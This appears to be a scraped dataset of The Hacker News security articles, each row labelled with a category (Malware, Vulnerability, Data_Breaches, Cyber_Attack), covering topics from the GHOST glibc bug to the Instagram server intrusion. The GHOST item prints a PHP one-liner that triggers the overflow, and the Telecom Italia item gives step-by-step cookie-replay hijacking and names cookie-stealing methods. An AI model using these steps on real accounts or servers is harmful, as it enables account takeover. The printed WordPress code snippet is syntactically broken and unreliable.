""Clicking on these ads or icons will direct users to either adult sites or malicious sites. In either case, the goal is to get users to install various apps,"" researchers at Trend Micro writes.

""While some of these apps are perfectly legitimate, some are suspicious apps distributed by third-party app stores, including more malicious apps that even request for administrator rights.""
Another app, also titled ""Super Mario"" and discovered by the security firm, prompts users first to install an app called 9Apps, which then asks for more permissions, including recording audio, reading modifying the calendar and even access to complete SD-card.

Here's How to Prevent Yourself

So, instead of downloading applications from unknown third party stores, Android users are required to wait for the official Google Play release.

Downloading apps from third parties do not always end up with malware or viruses, but it certainly ups the risk. So, it's the best way to wait to avoid compromising your device and the networks it accesses.

You can also go to Settings → Security and make sure ""Unknown sources"" option is turned off.

",Malware
Top 5 Bug Bounty Platforms to Watch in 2021,https://thehackernews.com/2021/02/top-5-bug-bounty-programs-to-watch-in.html,"While Gartner does not have a dedicated Magic Quadrant for Bug Bounties or Crowd Security Testing yet, Gartner Peer Insights already lists 24 vendors in the ""Application Crowdtesting Services"" category.
We have compiled the top 5 most promising bug bounty platforms for those of you who are looking to enhance your existing software testing arsenal with knowledge and expertise from international security researchers:
1. HackerOne
Being a unicorn backed by numerous reputable venture capitalists, HackerOne is probably the most well-known and recognized Bug Bounty brand in the world.
According to their most recent annual report, over 1,700 companies trust the HackerOne platform to augment their in-house application security testing capacities. The report likewise says that their security researchers earned approximately $40 million in bounties in 2019 alone and $82 million cumulatively.
HackerOne is also famous for hosting US government Bug Bounty programs, including the US Department of Defense and US Army vulnerability disclosure programs. Like some other commercial providers of Bug Bounties and Vulnerability Disclosure Programs (VDP), HackerOne now also offers penetration testing services stuffed with vetted security researchers from around the globe. HackerOne has a solid portfolio of security certifications, including ISO 27001 and FedRAMP authorization.
2. BugCrowd
Founded by cybersecurity expert Casey Ellis, BugCrowd is probably the most creative and inventive Bug Bounty platform. BugCrowd actively promotes not just the traditional crowd security testing services but also attack surface management and a broad spectrum of penetration testing services for IoT, API, and even network, staying ahead of their competitors on the rapidly growing crowd labor market.
BugCrowd also aptly advertises numerous Software Development Life Cycle (SDLC) integration capacities, making the DevSecOps workflow faster and easier for their wealthy clients.
BugCrowd is famous for hosting Bug Bounty programs for such industry giants as Amazon, VISA, and eBay, as well as the venerated (ISC)² cybersecurity education association. Many beginners in the security research are well familiar with BugCrowd thanks to the BugCrowd University, ongoing security webinars, and training BugCrowd smartly organizes both for their customers and researchers.
3. OpenBugBounty
The skyrocketing OpenBugBounty project is the only non-for-profit vulnerability disclosure and Bug Bounty platform on our list. Its Alexa rank says OpenBugBounty is about to surpass most of its commercial competitors successfully.
With over 1,200 active Bug Bounty programs, OpenBugBounty also permits coordinated disclosure of security issues on any website if the issue was detected by non-intrusive means. Bug Bounty program creation is totally free, and the website owners are not required to make monetary payments to the researchers - but are encouraged at least to thank the researchers and provide a public recommendation for their efforts.
OpenBugBounty hosts Bug Bounty programs for such companies as A1 Telekom Austria and Drupal, with over 20,000 security researchers and almost 800,000 security vulnerabilities submitted so far. The platform says its policies and disclosure processes are based on ISO 29147 standard.
OpenBugBounty also cooperates with national CERTs and law enforcement agencies by providing them with a free API to the platform while keeping vulnerability details confidential unless a researcher discloses his or her findings to the public.
4. SynAck
Backed by many renowned VC funds, including Intel Capital and Kleiner Perkins, SynAck was named ""CNBC Disruptor"" company four times in a row, from 2015 to 2019. SynAck stands atop commercial Bug Bounty platforms, also named in Gartner's Top 25 Enterprise Software Startups.
Founded by Jay Kaplan and Mark Kuhr, security visionaries and reputable veterans of the US national security agencies, SynAck offers an elite team of thoroughly vetted cybersecurity researchers known as ""Red Team"" (SRT). According to SynAck, the SRT group is composed of security experts with verified backgrounds and credible industry experience.
SynAck successfully positions itself as the leader in trusted crowd security testing services by performing comprehensive due diligence on their Red Team and recording all their activities for future analysis or review. Finally, SynAck has successfully developed partnerships and technology alliances with the industry leaders, including Microsoft, AWS, and HPE, demonstrating strong potential for further growth.
5. YesWeHack
YesWeHack is the rising star of our rating for 2021. One of a European Bug Bounty and vulnerability disclosure company, YesWeHack efficiently attracts EU-based companies whose main concern is strict privacy and data protection. Recently, YesWeHack announced a record 250% growth during 2020 in Asia, demonstrating that European startups are capable of scaling globally.
Similar to BugCrowd, YesWeHack is well prepared to invest in its human capital. Last year, it launched a training program to help Bug Bounty hunters hone their hacking skills with the YesWeHack DOJO platform. It features introductory courses and training challenges focused on specific security vulnerabilities and playgrounds.
With DOJO, security researchers from all over the world can improve their software security testing skills. Finally, YesWeHack persuasively demonstrates its capacity to attract reputable European customers such as the French OVH conglomerate.
While this article aimed to list 5 bug bounty platforms, there are many other excellent and unique platforms in the market, including Intigriti, one of the leading network of ethical hackers in Europe.
Bug Bounties have started their transformation from pure crowd security testing to all-in-one cybersecurity platforms, offering classic penetration testing and a myriad of other services. Today, it is difficult to predict how successful their offering will be against traditional MSSPs and cybersecurity vendors; however, Bug Bounties certainly created a new market niche with powerful potential.
While the open and free OpenBugBounty project brings maturity into the business, as the open-sourced Linux did against Microsoft decades ago, later giving birth to a multi-billion Red Hat business.
This is an indicator that the Bug Bounty market is becoming bigger and more competitive while the newcomers are still joining the game. We may probably expect even more Venture Capital and M&A deals fostering further expansion of the crowd security market.

",Vulnerability
"Microsoft Releases July 2019 Security Updates, 2 Flaws Under Active Attack",https://thehackernews.com/2019/07/microsoft-security-updates.html,"Microsoft today released its monthly batch of software security updates for the July month to patch a total of 77 vulnerabilities, 14 are rated Critical, 62 are Important, and 1 is rated Moderate in severity.

The July 2019 security updates include patches for various supported versions of Windows operating systems and other Microsoft products, including Internet Explorer, Edge, Office, Azure DevOps, Open Source Software, .NET Framework, Azure, SQL Server, ASP.NET, Visual Studio, and Exchange Server.

Details of 6 security vulnerabilities, all rated important, were made public before a patch was released, none of which were found being exploited in the wild.

However, two new privilege escalation vulnerabilities, one affects all supported versions of the Windows operating system, and the other affects Windows 7 and Server 2008, have been reported as being actively exploited in the wild.

Both actively exploited vulnerabilities lead to elevation of privilege, one (CVE-2019-1132) of which resides in the Win32k component and could allow an attacker to run arbitrary code in kernel mode.

However, the other actively exploited vulnerability (CVE-2019-0880) resides in the way splwow64 (Thunking Spooler APIs) handles certain calls, allowing an attacker or a malicious program to elevate its privileges on an affected system from low-integrity to medium-integrity.

The publicly known flaws affect Docker runtime, SymCrypt Windows cryptographic library, Remote Desktop Services, Azure Automation, Microsoft SQL server, and Windows AppX Deployment Service (AppXSVC).

Microsoft also released updates to patch 14 critical vulnerabilities, and as expected, all of them lead to remote code execution attacks and affect Microsoft products ranging from Internet Explorer and Edge to Windows Server DHCP, Azure DevOps and Team Foundation Servers.

Some important-rated vulnerabilities also lead to remote code execution attacks, while others allow elevation of privilege, information disclosure, cross-site scripting (XSS), security feature bypass, spoofing, and denial of service attacks.

Users and system administrators are strongly advised to apply the latest Microsoft security patches as soon as possible to keep hackers and cyber criminals away from taking control of their Windows computer systems.

For installing the latest security updates, users can head on to Settings → Update & Security → Windows Update → Check for updates on their Windows computers or can install the updates manually.

For addressing problematic updates on Windows 10 devices, Microsoft also introduced a safety measure in March this year that automatically uninstalls buggy software updates installed on your system if your OS detects a startup failure.

",Vulnerability
GHOST glibc Vulnerability Affects WordPress and PHP applications,https://thehackernews.com/2015/01/ghost-linux-security-vulnerability_29.html,"After the disclosure of extremely critical GHOST vulnerability in the GNU C library (glibc) — a widely used component of most Linux distributions, security researchers have discovered that PHP applications, including the WordPress Content Management System (CMS), could also be affected by the bug.

""GHOST"" is a serious vulnerability (CVE-2015-0235), announced this week by the researchers of California-based security firm Qualys, that involves a heap-based buffer overflow in the glibc function name - ""GetHOSTbyname()."" Researchers said the vulnerability has been present in the glibc code since 2000.

Though the major Linux distributors such as Red Hat, Debian and Ubuntu, have already updated their software against the flaw, GHOST could be used by hackers against only a handful of applications currently to remotely run executable code and silently gain control of a Linux server.

As we explained in our previous article, heap-based buffer overflow was found in __nss_hostname_digits_dots() function, which is particularly used by the gethostbyname() and gethostbyname2() glibc function call.

Since, PHP applications including WordPress also use the gethostbyname() function wrapper, the chance of the critical vulnerability becomes higher even after many Linux distributions issued fixes.

GHOST - BIG ISSUE FOR WORDPRESS
According to the Sucuri researcher Marc-Alexandre Montpas, GHOST vulnerability could be a big issue for WordPress CMS, as it uses wp_http_validate_url() function to validate every pingback post URL.
""....And it does so by using gethostbyname(),"" wrote Montpas in an advisory published Wednesday. ""So an attacker could leverage this vector to insert a malicious URL that would trigger a buffer overflow bug, server-side, potentially allowing him to gain privileges on the server.""
The vulnerability affects all versions of glibc from glibc-2.17 and lower. However, it was patched in glibc-2.18 in May 2013, but was not marked as a security vulnerability so the fix did not make it into many common Linux distributions like RedHat and Ubuntu.

HOW TO CHECK YOUR SYSTEM AGAINST GHOST FLAW
""This is a very critical vulnerability and should be treated as such,"" Montpas said. ""If you have a dedicated server (or VPS) running Linux, you have to make sure you update it right away.""
Sucuri also provided the following test PHP code, which an admin can run on their server terminal. If the code returns a segmentation fault, then your Linux server is vulnerable to the GHOST vulnerability.
php -r '$e=""0″;for($i=0;$i<2500;$i++){$e=""0$e"";} gethostbyname($e);' Segmentation fault
HOW TO PROTECT
Until now, Debian 7, Red Hat Enterprise Linux 6 and 7, CentOS 6 and 7 and Ubuntu 12.04 have released software updates. So users of above Linux distributions are recommended to patch their systems, followed by a system reboot, as soon as possible.
Disable XML-RPC
If you don't want to use XML-RPC process, it is possible to disable it altogether. There are even Wordpress plugins that will totally disable XML-RPC process.
Disable Pingback Requests
You may also disable the pingback feature by adding the following code to your functions.php file:
add_filter( 'xmlrpc_methods' , function( $methods' ) { unset( $methods[ 'pingback.ping ] ); return $methods; } );

",Vulnerability
YiSpecter — First iOS Malware that Attacks both: Non-jailbroken and Jailbroken Devices,https://thehackernews.com/2015/10/ios-malware-attack.html,"Less than a month after Apple suffered one of its biggest malware attacks ever, security researchers have discovered another strain of malware that they claim targets both jailbroken as well as non-jailbroken iOS devices.

Last month, researchers identified more than 4,000 infected apps in Apple's official App Store, which was targeted by a malware attack in which some versions of software used by developers to build apps for iOS and OS X were infected with malware, named XcodeGhost.

And Now:

Researchers from a California-based network security firm Palo Alto Networks have discovered new malware that targets Apple's iOS users in China and Taiwan.

Capabilities of YiSpecter Malware

Dubbed YiSpecter, the malware infects iOS devices and once infected, YiSpecter can:
Install unwanted apps
Replace legitimate apps with ones it has downloaded
Force apps to display unwanted, full-screen ads
Change bookmarks as well as default search engines in Safari
Send user information back to its server
Automatically reappears even after a user manually deletes it from the iOS device
It is still unclear how many users have been or could be infected by YiSpecter, but according to the researchers, this first instance of iOS malware targeting and succeeding in infecting non-jailbroken iOS devices has been around since November 2014.
""Whether an iPhone is jailbroken or not, the malware can be successfully downloaded and installed,"" the researchers wrote in a blog post on Monday. ""Even if you manually delete [YiSpecter], it will automatically re-appear.""
YiSpecter targets jailbroken as well as non-jailbroken iOS devices by abusing private APIs to allow its four components that are signed with enterprise certificates to install from a centralized command and control server.

Three of the four malicious components can be used to hide their icons from iOS SpringBoard – the standard app that runs the home screen – and also disguise themselves with the same name and logos of system applications to escape detection from users.

Vectors of YiSpecter malware

According to researchers, YiSpecter malware has been targeting Apple's iOS devices for over 10 months, when it was first spread by disguising as an app that lets users watch free porn.

The app was advertised as a private version of a famous media player ""QVOD"" – a popular video streaming app developed by Kuaibo(快播) to share porn videos.

The malware then infected more devices through:

Hijacked Internet traffic from ISPs
A Windows worm that first attacked the Tencent's instant messaging service QQ
Online communities where people install third-party applications in exchange for promotion fees from app developers
Security researchers from Palo Alto Networks have already reported the latest YiSpecter malware to Apple, which says ""they are investigating"" the issue.

How to Remove YiSpecter from Your iOS Devices?

For iOS users who are potentially infected by YiSpecter should follow the below four-step process to remove the malware from your devices:

Head on to Settings –> General –> Profiles and remove all unknown or untrusted profiles.
Delete any installed apps with names 情涩播放器, 快播私密版 or 快播0.
You can use any third-party iOS management tool such as iFunBox on Windows or Mac OS X to connect with your iPhone or iPad
Then check for installed iOS apps like Phone, Weather, Game Center, Passbook, Notes, or Cydia and delete them. (Note: this will not affect original system apps but just delete the fake malware apps)
You can further visit Palo Alto Networks' blog post for more information on YiSpecter.

",Cyber_Attack
"XKCD Forum Hacked – Over 562,000 Users' Account Details Leaked",https://thehackernews.com/2019/09/xkcd-forum-hacked.html,"XKCD—one of the most popular webcomic platforms known for its geeky tech humor and other science-laden comic strips on romance, sarcasm, math, and language—has suffered a data breach exposing data of its forum users.

The security breach occurred two months ago, according to security researcher Troy Hunt who alerted the company of the incident, with unknown hackers stealing around 562,000 usernames, email and IP addresses, as well as hashed passwords.

However, the leaked data was actually discovered by security researcher and data analyst Adam Davies, who shared a copy of it with Hunt.

At the time of writing, XKCD has taken down its forum and posted a short notice on its homepage, as shared below, urging its users to change their passwords immediately.


""The xkcd forums are currently offline. We've been alerted that portions of the PHPBB user table from our forums showed up in a leaked data collection. The data includes usernames, email addresses, salted, hashed passwords, and in some cases, an IP address from the time of registration.""

""We've taken the forums offline until we can go over them and make sure they're secure. If you're an echochamber.me/xkcd forums user, you should immediately change your password for any other accounts on which you used the same or a similar password.""

The forum administrators are also notifying affected users via email.

As mentioned, XKCD uses phpBB, a free and open-source forum and bulletin board software built in the PHP programming software.

However, at this moment it's unclear if XKCD was using an older version of the forum software vulnerable to a security flaw or the attackers exploited any previously undiscovered flaw in phpBB to extract the data unauthorisedly.

Besides this, even if XKCD was running over phpBB version 3.1 and later, which uses more secure BCRYPT hashing algorithm, it's possible that the passwords for early users of the XKCD forum were encrypted via the older, less secure MD5 hashing method.

What you can do now: affected users are strongly advised to immediately change their XKCD password, as well as passwords for any other online accounts which re-use the same password.

Created in 2005 by American author Randall Munroe, XKCD is a popular webcomic that focuses on tech, science, and internet culture, with its subject matter varies from statements on life and love to mathematical, programming, and scientific in-jokes.

",Data_Breaches
Telecom Italia Cookie Handling vulnerability allows hackers to hijack email accounts,https://thehackernews.com/2013/07/telecom-italia-cookie-handling.html,"A cookie is a piece of data that is issued by a server in an HTTP response and stored for future use by the HTTP client. Quite simply, a cookie is a small text file that is stored by a browser on the user's machine. Cookies are plain text; they contain no executable code. The client then re-supplies the cookie value in subsequent requests to the same server. This mechanism allows the server to store user preferences and identity individual users.
One of the biggest issues in cookie mechanism is how to handle them. In short, the server had no way of knowing if two requests came from the same browser, called Cookie Handling vulnerability.

'Piero Tedeschi' reported a similar issue in 'Telecom Italia' (https://www.telecomitalia.it/), the largest Italian telecommunications company, also active in the media and manufacturing industries.

This vulnerability allow a malicious user to hijack multiples accounts, just by exporting and importing the cookies from the victim's browser and can reuse it even after Logout.

Once you logout, normally a website should not reuse same invalid cookies, but if you are Telecom Italia user, you can reuse same cookies again and again to authenticate session without providing your username or password.

Proof of Concept:
1) Login to Telecom's website.

2) Export cookies with any cookie handling browser extension (for example Cookie Exporter->Chrome) and save it in a text file (""cookie.txt"") on your computer system.
3) Now Logout and import (for test, you can use another browser) same cookies that you have saved on your computer system, with a browser extension (for example Cookie Importer->Firefox) on another system.
4.) After importing cookies, just refresh page and user will get access to Telecom Italia's accounts without authentication.

This vulnerability is tested on these e-mail:
@alice.it
@virgilio.it
Telecom Italia also provide emails address @tin.it and @tim.it which are also supposed to be vulnerable to this method.

How to create email for Telecom Italia: You can create an email from Virgilio (https://www.virgilio.it) for free.

Attack's Methods (Stealing Cookies): To steal cookies there are many methods i.e
Cross Site Scripting (XSS) with a Cookie Stealer in php
Trojan
Physical Access
MITM (Man in The Middle attack)
Similar flaw was last year reported by us in Hotmail and Outlook, which are still vulnerable.

",Vulnerability
Go Daddy Sites Serve Up Ransomware Malware,https://thehackernews.com/2012/11/go-daddy-sites-serve-up-ransomware.html,"Domain name registrar and website hosting provider Go Daddy is responding to a DNS attack targeting a ""small number"" of its hosted websites that one security firm said is enabling cyber criminals to spread ransomware.

The DNS (Domain Name System) is what transfers host-names into IP addresses, meaning computers can talk to each other and users can access them online.
Godaddy said, ""We suspect that the affected customers have been phished or their home machines have been affected by Cool Exploit as we have confirmed that this is not a vulnerability in the My Account or DNS management systems."" The Cool Exploit Kit targets a variety of vulnerabilities, including Java errors, and has been seen spreading via drive-by attack websites.

The ransomware served depends on the country of origin. In the UK, it is malware posing as a legitimate message from the Met's Police e-Crime Unit (PCeU). It locks the computer, on the grounds that the computer was guilty of "" unauthorized cyber activity"", asking for payment to unlock it.

Attackers use vulnerabilities in the platforms and inject malicious code to set up drive-by attack websites. Users should avoid clicking on links sent to them via email or other means, even if the links appear to be legitimate at first glance. For instance, users should ensure their passwords are strong and unique to each website, and two-factor authentication should be readily available.

",Malware
Shocking! Instagram HACKED! Researcher hacked into Instagram Server and Admin Panel,https://thehackernews.com/2015/12/how-to-hack-instagram.html,"Ever wonder how to hack Instagram or how to hack a facebook account? Well, someone just did it!

But, remember, even responsibly reporting a security vulnerability could end up in taking legal actions against you.

An independent security researcher claims he was threatened by Facebook after he responsibly revealed a series of security vulnerabilities and configuration flaws that allowed him to successfully gained access to sensitive data stored on Instagram servers, including:
Source Code of Instagram website
SSL Certificates and Private Keys for Instagram
Keys used to sign authentication cookies
Personal details of Instagram Users and Employees
Email server credentials
Keys for over a half-dozen critical other functions
However, instead of paying him a reward, Facebook has threatened to sue the researcher of intentionally withholding flaws and information from its team.

Wesley Weinberg, a senior security researcher at Synack, participated in Facebook's bug bounty program and started analyzing Instagram systems after one of his friends hinted him to a potentially vulnerable server located at sensu.instagram.com

The researcher found an RCE (Remote Code Execution) bug in the way it processed users' session cookies that are generally used to remember users' log-in details.
Remote code execution bug was possible due to two weaknesses:
The Sensu-Admin web app running on the server contained a hard-coded Ruby secret token
The host running a version of Ruby (3.x) that was susceptible to code execution via the Ruby session cookie
Exploiting the vulnerability, Weinberg was able to force the server to vomit up a database containing login details, including credentials, of Instagram and Facebook employees.

Although the passwords were encrypted with 'bcrypt', Weinberg was able to crack a dozen of passwords that had been very weak (like changeme, instagram, password) in just a few minutes.

Exposed EVERYTHING including Your Selfies

Weinberg did not stop here. He took a close look at other configuration files he found on the server and discovered that one of the files contained some keys for Amazon Web Services accounts, the cloud computing service used to host Instagram's Sensu setup.

These keys listed 82 Amazon S3 buckets (storage units), but these buckets were unique. He found nothing sensitive in the latest file in that bucket, but when he looked at the older version of the file, he found another key pair that let him read the contents of all 82 buckets.
Weinberg had inadvertently stumbled upon almost EVERYTHING including:
Instagram's source code
SSL certificates and private keys (including for instagram.com and *.instagram.com)
API keys that are used for interacting with other services
Images uploaded by Instagram users
Static content from the instagram.com website
Email server credentials
iOS/Android app signing keys
Other sensitive data
""To say that I had gained access to basically all of Instagram's secret key material would probably be a fair statement,"" Weinberg wrote in his blog. ""With the keys I obtained, I could now easily impersonate Instagram, or any valid user or staff member. While out of scope, I would have easily been able to gain full access to any user's account, [personal] pictures and data.""
Responsible Disclosure, but Facebook Threatens Lawsuit

Weinberg reported his findings to Facebook's security team, but the social media giant was concerned he had accessed private data of its users and employees while uncovering the issues.

Instead of receiving a reward from Facebook for his hard work, Weinberg was unqualified for the bug bounty program by Facebook.

In early December, Weinberg claims his boss Synack CEO, Jay Kaplan, received a scary call from Facebook security chief Alex Stamos regarding the weaknesses Weinberg discovered in Instagram that left Instagram and Facebook users wide open to a devastating attack.

Stamos ""stated that he did not want to have to get Facebook's legal team involved, but that he was not sure if this was something he needed to go to law enforcement over,"" Weinberg wrote in his blog in a section entitled 'Threats and Intimidation.'

In response, Stamos issued a statement, saying he ""did not threaten legal action against Synack or [Weinberg] nor did [he] ask for [Weinberg] to be fired.""

Stamos said he only told Kaplan to ""keep this out of the hands of the lawyers on both sides.""
""Condoning researchers going well above and beyond what is necessary to find and fix critical issues would create a precedent that could be used by those aiming to violate the privacy of our users, and such behavior by legitimate security researchers puts the future of paid bug bounties at risk,"" Stamos added.

Facebook Responds

After the original publication by the researcher, Facebook issued its response, saying the claims are false and that Weinberg was never told not to publish his findings, rather only asked not to disclose the non-public information he accessed.

The social media giant confirmed the existence of the remote code execution bug in the sensu.instagram.com domain and promised a bug bounty of $2,500 as a reward to Weinberg and his friend who initially hinted that the server was openly accessible.

However, the other vulnerabilities that allowed Weinberg to gain access to sensitive data were not qualified, with Facebook saying he violated user privacy while accessing the data.

Here's the full statement by Facebook:

We are strong advocates of the security researcher community and have built positive relationships with thousands of people through our bug bounty program. These interactions must include trust, however, and that includes reporting the details of bugs that are found and not using them to access private information in an unauthorized manner. In this case, the researcher intentionally withheld bugs and information from our team and went far beyond the guidelines of our program to pull private, non-user data from internal systems.
We paid him for his initial bug report based on the quality, even though he was not the first to report it, but we didn't pay for the subsequent information that he had withheld. At no point did we say he could not publish his findings — we asked that he refrain from disclosing the non-public information he accessed in violation of our program guidelines. We remain firmly committed to paying for high quality research and helping the community learn from researchers' hard work.

",Data_Breaches
Shadow Brokers reveals list of Servers Hacked by the NSA,https://thehackernews.com/2016/10/nsa-shadow-brokers-hacking.html,"The hacker group calling itself the Shadow Brokers, who previously claimed to have leaked a portion of the NSA's hacking tools and exploits, is back with a Bang!

The Shadow Brokers published more files today, and this time the group dumped a list of foreign servers allegedly compromised by the NSA-linked hacking unit, Equation Group, in various countries to expand its espionage operations.

Top 3 Targeted Countries — China, Japan, and Korea

The data dump [Download / File Password: payus] that experts believe contains 306 domain names, and 352 IP addresses belong to at least 49 countries. As many as 32 domains of the total were run by educational institutes in China and Taiwan.

A few target domains were based in Russia, and at least nine domains include .gov websites.

The top 10 targeted countries include China, Japan, Korea, Spain, Germany, India, Taiwan, Mexico, Italy, and Russia.

The latest dump has been signed by the same key as the first Shadow Brokers' dump of NSA exploits, though there is a lot to be done to validate the contents of the leaked data dump fully.

Targeted Systems — Solaris, Unix, Linux and FreeBSD

Most of the affected servers were running Solaris, Oracle-owned Unix-based operating system, while some were running FreeBSD or Linux.

Each compromised servers were reportedly targets of INTONATION and PITCHIMPAIR, code-names given for cyber-spy hacking programs.

The data dump also contains references to a list of previously undisclosed Equation Group tools, including Dewdrop, Incision, Orangutan, Jackladder, Reticulum, Patchicillin, Sidetrack and Stoicsurgeon.

The tools as mentioned above could be hacking implants, tools or exploits used by the NSA's notorious group.

Security researcher Mustafa Al-Bassam, an ex-member of Lulzsec and the Anonymous hacking collective, said the NSA likely compromised all the servers between 2000 and 2010.
""So even the NSA hacks machines from compromised servers in China and Russia. This is why attribution is hard,"" Al-Bassam added.
Are Hackers trying to influence U.S. Presidential elections?

A message accompanying the leaked data dump calls for attempts to disrupt the forthcoming United States presidential election. The portion of message from the Shadow Brokers reads:
""TheShadowBrokers is having suggestion. On November 8th, instead of not voting, maybe be stopping the vote all together? Maybe being grinch who stopped the election from coming? Maybe hacking election is being the best idea? #hackelection2016.""
Targeted victims can use the leaked files in an effort to determine if they were the potential target of the NSA-linked hacking unit.

Since the records are old, many servers should now be clean of infection. However, a brief Shodan scan of these domains indicates that some of the affected servers are still active and still running old, possibly-vulnerable systems.

The latest release comes after the FBI arrested Harold Thomas Martin, an NSA contractor, who was reportedly a prime suspect in The Shadow Brokers case.

",Cyber_Attack
Cisco Reissues Patches for Critical Bugs in Jabber Video Conferencing Software,https://thehackernews.com/2020/12/cisco-reissues-patches-for-critical.html,"Cisco has once again fixed four previously disclosed critical bugs in its Jabber video conferencing and messaging app that were inadequately addressed, leaving its users susceptible to remote attacks.
The vulnerabilities, if successfully exploited, could allow an authenticated, remote attacker to execute arbitrary code on target systems by sending specially-crafted chat messages in group conversations or specific individuals.
They were reported to the networking equipment maker on September 25 by Watchcom, three weeks after the Norwegian cybersecurity firm publicly disclosed multiple security shortcomings in Jabber that were found during a penetration test for a client in June.
The new flaws, which were uncovered after one of its clients requested a verification audit of the patch, affects all currently supported versions of the Cisco Jabber client (12.1 - 12.9).
""Three of the four vulnerabilities Watchcom disclosed in September have not been sufficiently mitigated,"" Watchcom said in a report published today. ""Cisco released a patch that fixed the injection points we reported, but the underlying problem has not been fixed. As such, we were able to 7ind new injection points that could be used to exploit the vulnerabilities.""
Most critical among the flaws is CVE-2020-26085 (similar to CVE-2020-3495), which has a severity rating of 9.9 out of 10, a zero-click cross-site scripting (XSS) vulnerability that can be used to achieve remote code execution by escaping the CEF sandbox.
CEF or Chromium Embedded Framework is an open-source framework that's used to embed a Chromium-based web browser within other apps.
While the embedded browser is sandboxed to prevent unauthorized access to files, the researchers found a way to bypass the protections by abusing the window.CallCppFunction, which is designed to open files sent by other Cisco Jabber users.
All an adversary has to do is initiate a file transfer containing a malicious "".exe"" file and force the victim to accept it using an XSS attack, then trigger a call to the aforementioned function, causing the executable to be run on the victim's machine.
Worse, this vulnerability doesn't require user interaction and is wormable, meaning it can be used to automatically spread the malware to other systems by disguising the payload in a chat message.
A second flaw, CVE-2020-27132, stems from the way it parses HTML tags in XMPP messages, an XML-based communications protocol used for facilitating instant messaging between any two or more network entities.
Due to the lack of proper sanitization of these tags, a harmless file transfer message can be manipulated by injecting, say, an image HTML tag pointing to a malicious URL or even execute malicious JavaScript code.
""No additional security measures had been put in place and it was therefore possible to both gain remote code execution and steal NTLM password hashes using this new injection point,"" the researchers said.
The third and final vulnerability (CVE-2020-27127) is a command injection flaw concerning protocol handlers, which are used to inform the operating system to open specific URLs (e.g., XMPP://, IM://, and TEL://) in Jabber, making it possible for an attacker to insert arbitrary command-line flags by simply including a space the URL.
Given the self-replicating nature of the attacks, it's advised that Jabber users update to the latest version of the software to mitigate the risk.
Watchcom also recommends that organizations consider disabling communication with external entities through Cisco Jabber until all employees have installed the update.

",Vulnerability
Aramco cyber attacks intends to stop oil production,https://thehackernews.com/2012/12/aramco-cyber-attacks-intends-to-stop.html,"Saudi Arabia's national oil company ""Aramco"" is the country's largest oil production facility and is a significant exporter in the Organization of the Petroleum Exporting Countries. They said that a cyber attack against it in August which damaged some 30,000 computers was aimed at stopping oil and gas production at the biggest OPEC exporter.

The interior ministry said it was carried out by organised hackers from several different foreign countries and Aramco employees and contractors were not involved.

""The main target in this attack was to stop the flow of oil and gas to local and international markets and thank God they were not able to achieve their goals,"" Abdullah al-Saadan, Aramco's vice president for corporate planning, said on Al Ekhbariya television.

""Not a drop of oil was lost and the company was able to restore productivity in record time,"" he added. The hackers used several methods to hide their location

The attack used a computer virus known as Shamoon, spread through Aramco's network and wiped computers' hard drives clean. Aramco said damage was limited to office computers and did not affect systems software that might harm technical operations.

Later, Hacker group called Cutting Sword of Justice claimed responsibility for the attack. A posting on the website of Cutting Sword of Justice a day before the attack accused Saudi Arabia of crimes and atrocities in countries that include Bahrain and Syria.

",Malware
What is Threat Intelligence and How It Helps to Identify Security Threats,https://thehackernews.com/2015/11/what-is-cyber-threat-intelligence.html,"Simply put, threat intelligence is knowledge that helps you identify security threats and make informed decisions. Threat intelligence can help you solve the following problems:
How do I keep up to date on the overwhelming amount of information on security threats…including bad actors, methods, vulnerabilities, targets, etc.?
How do I get more proactive about future security threats?
How do I inform my leaders about the dangers and repercussions of specific security threats?

Threat Intelligence: What is it?

Threat intelligence has received a lot of attention lately. While there are many different definitions, here are a few that get quoted often:
Threat intelligence is evidence-based knowledge, including context, mechanisms, indicators, implications and actionable advice, about an existing or emerging menace or hazard to assets that can be used to inform decisions regarding the subject's response to that menace or hazard. – Gartner
The set of data collected, assessed and applied regarding security threats, threat actors, exploits, malware, vulnerabilities and compromise indicators – SANS Institute

Why is everyone talking about it?

Verizon's 2015 DBIR estimated a financial loss of $400 million from 700 million compromised records, which resulted from 79,790 security incidents!

As long as security threats and breaches occur, every business will look for ways to protect their data. The threat landscape is always changing and the business risk is increasing because of our dependence on IT systems.

Threats come from internal as well as external sources. Bottom line is, organizations are under tremendous pressure to manage threats. Though information in the form of raw data is available abundantly, it is hard and time-consuming to get meaningful information based on which proactive measures can be set.

This naturally pulls more and more users towards threat intelligence as it helps to prioritize threats within the deluge of data, alerts, and attacks and provides actionable information.

The table below presents several common indicators of compromise that can be identified with threat intelligence feeds:

Category Indicators of Compromise Examples
Network
IP addresses
URLs
Domain names
Malware infections targeting internal hosts that are communicating with known bad actors
Email
Sender's email address and email subject
Attachments
Links
Phishing attempts where internal hosts click on an unsuspecting email and ""phone home"" to a malicious command and control server
Host-Based
Filenames and file hashes (e.g. MD5)
Registry keys
Dynamic link libraries (DLLs)
Mutex names
External attacks from hosts that might be infected themselves or are already known for nefarious activity
Threat Intelligence capabilities

Attacks can be broadly categorized as user based, application based and infrastructure based threats. Some of the most common threats are SQL injections, DDoS, web application attacks and phishing.

It is important to have an IT security solution that provides threat intelligence capabilities to manage these attacks by being both proactive and responsive.

Attackers are constantly changing their methods to challenge security systems. Therefore, it becomes inevitable for organizations to get threat intelligence from a variety of sources.

One of the proven methods to stay on top of attacks is to detect and respond to threats with a SIEM (Security Information & Event Management system).

A SIEM can be used to track everything that happens in your environment and identify anomalous activities. Isolated incidents might look unrelated, but with event correlation and threat intelligence, you can see what is actually happening in your environment.

Nowadays, IT security professionals must operate under the assumed breach mentality. Comparing monitored traffic against known bad actors sourced from threat intelligence would help in identifying malicious activities.

However, this could be manual and time-consuming. Integrating indicator based threat intelligence to a SEIM security solution would help in identifying compromised system and possibly even prevent some attacks.

Best Practices

Integrating threat intelligence and responding to attacks is not enough to combat the ever-changing threat landscape. You need to analyze the situation and determine threats you are likely to face, based on which you can come up with precautionary measures.

Here is a list of several best practices:
Have an application whitelist and blacklist. This helps in preventing execution of malicious or unapproved programs including, .DLL files, scripts and installers.
Check your logs carefully to see if an attempted attack was an isolated event, or if the vulnerability had been exploited before.
Determine what was changed in the attempted attack.
Audit logs and identify why this incident happened – reasons could range from system vulnerability to an out-of-date driver.

What will threat intelligence enabled SIEM solve
A SIEM, like SolarWinds Log & Event Manager, collects and normalizes log data from monitored traffic and automatically tags suspicious events.

With integrated threat intelligence mechanism and built-in rules, the monitored events can be compared against the list of constantly updated known bad actors.
